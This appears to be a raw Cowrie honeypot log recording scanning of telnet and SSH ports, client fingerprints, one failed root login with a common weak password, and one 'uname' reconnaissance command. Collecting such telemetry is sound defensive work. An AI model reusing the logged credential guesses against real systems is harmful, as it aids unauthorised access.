{"eventid":"cowrie.session.closed","duration":31.22507381439209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:37.335660Z","src_ip":"34.69.118.1","session":"dbfc33ca31de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43526,"dst_ip":"159.203.135.109","dst_port":23,"session":"daea4e766e6d","protocol":"telnet","message":"New connection: 51.15.157.40:43526 (159.203.135.109:23) [session: daea4e766e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:39.294460Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":46206,"dst_ip":"159.203.135.109","dst_port":23,"session":"a148e90485ae","protocol":"telnet","message":"New connection: 51.15.157.40:46206 (159.203.135.109:23) [session: a148e90485ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:40.214629Z"}
{"eventid":"cowrie.session.closed","duration":30.56181502342224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:40.412846Z","src_ip":"34.69.118.1","session":"c22fec0f379e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44992,"dst_ip":"159.203.135.109","dst_port":23,"session":"85784529479e","protocol":"telnet","message":"New connection: 51.15.157.40:44992 (159.203.135.109:23) [session: 85784529479e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:40.679711Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:40.817600Z","src_ip":"122.168.114.167","session":"1ced68bde4fd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:40.821336Z","src_ip":"122.168.114.167","session":"1ced68bde4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.5256028175354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:41.887434Z","src_ip":"34.69.118.1","session":"6f755e6f8d53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.913285970687866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:42.233990Z","src_ip":"34.69.118.1","session":"42436e6f86f4","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"3.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:44.112957Z","src_ip":"122.168.114.167","session":"1ced68bde4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"38.9","message":"Connection lost after 38.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:44.118471Z","src_ip":"122.168.114.167","session":"1ced68bde4fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":55556,"dst_ip":"159.203.135.109","dst_port":23,"session":"cae19092235f","protocol":"telnet","message":"New connection: 51.15.157.40:55556 (159.203.135.109:23) [session: cae19092235f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:44.379399Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":36858,"dst_ip":"159.203.135.109","dst_port":23,"session":"06700aaf4d05","protocol":"telnet","message":"New connection: 157.15.20.138:36858 (159.203.135.109:23) [session: 06700aaf4d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:47.987884Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":36350,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0ebc5ee38c5","protocol":"ssh","message":"New connection: 122.168.114.167:36350 (159.203.135.109:22) [session: b0ebc5ee38c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:48.185889Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":57024,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f55e5d523a8","protocol":"telnet","message":"New connection: 103.171.45.122:57024 (159.203.135.109:23) [session: 3f55e5d523a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:48.282970Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":57036,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac959e5f92f9","protocol":"telnet","message":"New connection: 103.171.45.122:57036 (159.203.135.109:23) [session: ac959e5f92f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:48.730590Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":36862,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca66a8cba517","protocol":"telnet","message":"New connection: 157.15.20.138:36862 (159.203.135.109:23) [session: ca66a8cba517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:49.662428Z"}
{"eventid":"cowrie.session.closed","duration":120.00167441368103,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:50.309146Z","src_ip":"109.224.242.7","session":"ffb8ff38000d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48510,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eb1b500aa97","protocol":"telnet","message":"New connection: 51.15.157.40:48510 (159.203.135.109:23) [session: 7eb1b500aa97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:50.626470Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":57052,"dst_ip":"159.203.135.109","dst_port":23,"session":"e794d866d613","protocol":"telnet","message":"New connection: 103.171.45.122:57052 (159.203.135.109:23) [session: e794d866d613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:50.812944Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40518,"dst_ip":"159.203.135.109","dst_port":23,"session":"347def33e3fa","protocol":"telnet","message":"New connection: 51.15.157.40:40518 (159.203.135.109:23) [session: 347def33e3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:50.925342Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.69.168","src_port":44885,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3fb3eb8f505","protocol":"telnet","message":"New connection: 162.240.69.168:44885 (159.203.135.109:23) [session: f3fb3eb8f505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:51.823831Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.224.242.7","src_port":37980,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1e8808b77a1","protocol":"telnet","message":"New connection: 109.224.242.7:37980 (10.17.0.5:23) [session: f1e8808b77a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:52.375370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:53.146540Z","src_ip":"122.168.114.167","session":"b0ebc5ee38c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:53.150265Z","src_ip":"122.168.114.167","session":"b0ebc5ee38c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":56612,"dst_ip":"159.203.135.109","dst_port":22,"session":"284a81efe177","protocol":"ssh","message":"New connection: 113.163.156.190:56612 (159.203.135.109:22) [session: 284a81efe177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:54.136994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:54.142601Z","src_ip":"113.163.156.190","session":"284a81efe177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:54.392443Z","src_ip":"113.163.156.190","session":"284a81efe177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r%","message":"login attempt [root/1q2w3e4r%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:55.420201Z","src_ip":"113.163.156.190","session":"284a81efe177","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:56.672399Z","src_ip":"113.163.156.190","session":"284a81efe177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41626,"dst_ip":"159.203.135.109","dst_port":23,"session":"072bff763c39","protocol":"telnet","message":"New connection: 51.15.157.40:41626 (159.203.135.109:23) [session: 072bff763c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:57.530993Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":44402,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1cefeaa0401","protocol":"telnet","message":"New connection: 157.15.20.138:44402 (159.203.135.109:23) [session: e1cefeaa0401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:57.707371Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45314,"dst_ip":"159.203.135.109","dst_port":23,"session":"6063f21392f4","protocol":"telnet","message":"New connection: 51.15.157.40:45314 (159.203.135.109:23) [session: 6063f21392f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:58.801162Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47828,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf5591344d71","protocol":"telnet","message":"New connection: 51.15.157.40:47828 (159.203.135.109:23) [session: cf5591344d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:59.685510Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45018,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5bffb3ed6f1","protocol":"telnet","message":"New connection: 51.15.157.40:45018 (159.203.135.109:23) [session: b5bffb3ed6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:59.690064Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47844,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b7faeb3555b","protocol":"telnet","message":"New connection: 51.15.157.40:47844 (159.203.135.109:23) [session: 0b7faeb3555b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:59.694443Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45052,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8499589f32b","protocol":"telnet","message":"New connection: 51.15.157.40:45052 (159.203.135.109:23) [session: a8499589f32b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:59.698795Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":49270,"dst_ip":"159.203.135.109","dst_port":23,"session":"80e43cf40bec","protocol":"telnet","message":"New connection: 51.15.157.40:49270 (159.203.135.109:23) [session: 80e43cf40bec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:00.321574Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50050,"dst_ip":"159.203.135.109","dst_port":23,"session":"48202c2e37c0","protocol":"telnet","message":"New connection: 51.15.157.40:50050 (159.203.135.109:23) [session: 48202c2e37c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:00.564070Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":44412,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c19e7ff89da","protocol":"telnet","message":"New connection: 157.15.20.138:44412 (159.203.135.109:23) [session: 5c19e7ff89da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:00.707054Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":43362,"dst_ip":"159.203.135.109","dst_port":23,"session":"94f76da3c0c5","protocol":"telnet","message":"New connection: 34.69.118.1:43362 (159.203.135.109:23) [session: 94f76da3c0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:00.902932Z"}
{"eventid":"cowrie.session.closed","duration":31.183745861053467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:01.165129Z","src_ip":"157.15.20.138","session":"a40cdff374ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.520171642303467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:01.235712Z","src_ip":"103.171.45.122","session":"3fab9c04b0c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52680,"dst_ip":"159.203.135.109","dst_port":23,"session":"0344cb358d5c","protocol":"telnet","message":"New connection: 51.15.157.40:52680 (159.203.135.109:23) [session: 0344cb358d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:01.482591Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":53628,"dst_ip":"159.203.135.109","dst_port":23,"session":"50c870812ca5","protocol":"telnet","message":"New connection: 51.15.157.40:53628 (159.203.135.109:23) [session: 50c870812ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:01.865445Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":53704,"dst_ip":"159.203.135.109","dst_port":23,"session":"800fbd600c6c","protocol":"telnet","message":"New connection: 51.15.157.40:53704 (159.203.135.109:23) [session: 800fbd600c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:01.887527Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":54000,"dst_ip":"159.203.135.109","dst_port":23,"session":"adc5746ed3a4","protocol":"telnet","message":"New connection: 51.15.157.40:54000 (159.203.135.109:23) [session: adc5746ed3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:01.970805Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":53172,"dst_ip":"159.203.135.109","dst_port":23,"session":"53477e449832","protocol":"telnet","message":"New connection: 51.15.157.40:53172 (159.203.135.109:23) [session: 53477e449832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:02.626018Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":56048,"dst_ip":"159.203.135.109","dst_port":23,"session":"320091555371","protocol":"telnet","message":"New connection: 51.15.157.40:56048 (159.203.135.109:23) [session: 320091555371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:02.769228Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":53466,"dst_ip":"159.203.135.109","dst_port":23,"session":"12df0e0a5e6a","protocol":"telnet","message":"New connection: 51.15.157.40:53466 (159.203.135.109:23) [session: 12df0e0a5e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:02.779433Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":44416,"dst_ip":"159.203.135.109","dst_port":23,"session":"b21d1b9c7493","protocol":"telnet","message":"New connection: 157.15.20.138:44416 (159.203.135.109:23) [session: b21d1b9c7493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:02.837518Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":56302,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca592c229799","protocol":"telnet","message":"New connection: 51.15.157.40:56302 (159.203.135.109:23) [session: ca592c229799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:02.883430Z"}
{"eventid":"cowrie.session.closed","duration":31.105406999588013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:03.392353Z","src_ip":"103.171.45.122","session":"b03acf9050f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":43364,"dst_ip":"159.203.135.109","dst_port":23,"session":"5464eaca4996","protocol":"telnet","message":"New connection: 34.69.118.1:43364 (159.203.135.109:23) [session: 5464eaca4996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:03.749015Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":43376,"dst_ip":"159.203.135.109","dst_port":23,"session":"7664a9c9d1dc","protocol":"telnet","message":"New connection: 34.69.118.1:43376 (159.203.135.109:23) [session: 7664a9c9d1dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:04.705596Z"}
{"eventid":"cowrie.session.closed","duration":31.58564066886902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:05.618797Z","src_ip":"34.69.118.1","session":"d112261fa902","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.805623531341553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:05.640105Z","src_ip":"34.69.118.1","session":"0b930b324414","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":57476,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e7e3c75570a","protocol":"telnet","message":"New connection: 185.26.126.47:57476 (159.203.135.109:23) [session: 9e7e3c75570a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:05.814836Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":36792,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd20302b9273","protocol":"telnet","message":"New connection: 51.15.157.40:36792 (159.203.135.109:23) [session: dd20302b9273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:05.875657Z"}
{"eventid":"cowrie.session.closed","duration":30.462507247924805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:06.268887Z","src_ip":"103.171.45.122","session":"f4f1a1e40211","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37882,"dst_ip":"159.203.135.109","dst_port":23,"session":"5304e4e485ef","protocol":"telnet","message":"New connection: 51.15.157.40:37882 (159.203.135.109:23) [session: 5304e4e485ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:06.355081Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":38638,"dst_ip":"159.203.135.109","dst_port":23,"session":"e35afdca167c","protocol":"telnet","message":"New connection: 51.15.157.40:38638 (159.203.135.109:23) [session: e35afdca167c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:06.535535Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":38844,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fbfdd4e217f","protocol":"telnet","message":"New connection: 51.15.157.40:38844 (159.203.135.109:23) [session: 7fbfdd4e217f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:06.586121Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":40552,"dst_ip":"159.203.135.109","dst_port":23,"session":"60a6d45d1f70","protocol":"telnet","message":"New connection: 157.15.20.138:40552 (159.203.135.109:23) [session: 60a6d45d1f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:06.697540Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":39524,"dst_ip":"159.203.135.109","dst_port":23,"session":"8173ba0005d5","protocol":"telnet","message":"New connection: 51.15.157.40:39524 (159.203.135.109:23) [session: 8173ba0005d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:06.780066Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":38470,"dst_ip":"159.203.135.109","dst_port":23,"session":"e83d9389b25e","protocol":"telnet","message":"New connection: 89.39.83.70:38470 (159.203.135.109:23) [session: e83d9389b25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:07.074329Z"}
{"eventid":"cowrie.session.closed","duration":32.225756883621216,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:07.383529Z","src_ip":"34.69.118.1","session":"150b5a535f64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":39512,"dst_ip":"159.203.135.109","dst_port":23,"session":"c889cbab36e0","protocol":"telnet","message":"New connection: 51.15.157.40:39512 (159.203.135.109:23) [session: c889cbab36e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:07.776777Z"}
